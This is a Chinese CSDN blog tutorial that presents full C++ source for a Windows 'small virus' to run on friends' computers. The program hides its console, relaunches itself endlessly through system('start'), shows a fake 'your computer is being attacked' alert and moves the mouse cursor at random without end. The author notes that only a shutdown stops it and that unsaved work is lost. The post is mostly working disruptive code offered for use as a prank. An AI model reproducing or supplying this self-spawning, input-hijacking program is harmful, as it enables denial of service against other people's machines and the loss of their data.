用c++撸一个小病毒

我又来啦(*^▽^*)😄

怎么做🍊

开始做🍊

打开自己🍉

警告弹框🍉

开线程做鼠标的效果⭐️⭐️⭐️

定义线程😁

创建线程😲

等待线程的完成☀️

隐藏控制台图标👀

全部代码🔍

最后💡


我又来啦(*^▽^*)😄
今天来教大家用c++做一个小病毒,非常的简单,你拿去在好友面前装一装也是可以的😄

怎么做🍊
做就很简单

效果:先获取自己exe文件的路径,每隔一点时间就打开自己(其实是为了刷内存),会出现很多弹框,再加一点警告弹框,效果杠杠滴

然后再开一个线程,在上面的效果的同时,把鼠标搞飞,想要关掉,只能关机

所以说千万不要在打游戏或者文件没保存的时候打开

开始做🍊
打开自己🍉
因为我们要打开文件,所以需要知道文件路径

获取文件路径主要用到了一个叫做 _pgmptr的函数,但在用之前,记得要把前面加上一行👇

#define _CRT_SECURE_NO_WARNINGS
否则可能用不了🤔

然后再弄一个char类型的变量s,s的内容是“start”,为什么呢?因为可以用system来打开文件,格式是system("start 文件名");

我们把s和文件路径拼接起来就可以啦

然后就会不停的弹出弹框

实际上这个就是类似于递归的一种操作,只不过这个是不会结束的打开的这个文件又打开,不停的打开

char s[100] = "start "; 
system(strcat(s, _pgmptr)); 
警告弹框🍉
没啥好说的,就这样就可以

MessageBox(NULL,"警告:你的电脑被攻击","error",MB_ICONEXCLAMATION);
开线程做鼠标的效果⭐️⭐️⭐️
开线程其实有很多种方式,因为我是用的devc++,所以我就用pthread.h😄

如果用thread的话会报错的

我的devc++是安装的时候就有pthread.h的,其他人的好像都是要额外安装的

我懵逼了

接下来,就是快乐的code时间了

定义线程😁
这样定义,加上了鼠标效果

void *test(void *ptr)
{
    int i;
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    srand(time(NULL));
    for(int i=1;i<=10000000000000000000;i++)SetCursorPos(rand()%x,rand()%y);
}
创建线程😲
创建了一个id为pId的线程

pthread_t pId;
ret = pthread_create(&pId,NULL,test,NULL);
等待线程的完成☀️
等待线程pId的完成

pthread_join(pId,NULL);
隐藏控制台图标👀
没啥好说的

HWND hWnd = GetConsoleWindow(); 
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); 
全部代码🔍
就做完了,是不是很简单?

所以说,做一个简单的病毒是很简单的

 全部代码(devc++运行通过),后面可能还会做vs版的💡

现在你可以愉快地玩耍了😀

#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <pthread.h>
#include <unistd.h>
#include <windows.h>
#include <time.h>
#include <conio.h>
using namespace std;
//线程1:鼠标效果 
void *test(void *ptr)
{
    int i;
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    srand(time(NULL));
    for(int i=1;i<=10000000000000000000;i++)SetCursorPos(rand()%x,rand()%y);
}
 
void *test1(void *ptr)
{
    int j;
    for(int u=0;u<100;u++)
    {
        cout<<u<<endl;    
    } 
}
 
int main(void)
{
    pthread_t pId;
    int i,ret;
    pthread_t pId1;
    int j,ret1;
    //创建2个子线程:线程1id为pId,线程2id为pId1 
    ret = pthread_create(&pId,NULL,test,NULL);
    ret1 = pthread_create(&pId1,NULL,test,NULL);
 
    if (ret != 0)
    {
        cout<<"error!"<<endl; 
        return 0;
    }
    if (ret1 != 0)
    {
        cout<<"error!"<<endl; 
        return 0;
    }
    
    /*隐藏控制台图标*/ 
    HWND hWnd = GetConsoleWindow(); 
    SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); 
 
    /*调用自己文件*/
    char s[100] = "start "; 
    system(strcat(s, _pgmptr)); 
    
    /*警告*/
    MessageBox(NULL,"警告:你的电脑被攻击","error",MB_ICONEXCLAMATION); 
    
    //等待线程pId和pId1的完成
    pthread_join(pId,NULL);
    pthread_join(pId1,NULL);
    return 0;
 
}
最后💡
最后,谢谢阅读和支持

如果有不懂的问题也可以私信我,我会一一回复

互粉必回,拜拜💪


————————————————
版权声明:本文为CSDN博主「YR_T」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/m0_64036070/article/details/123869099

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值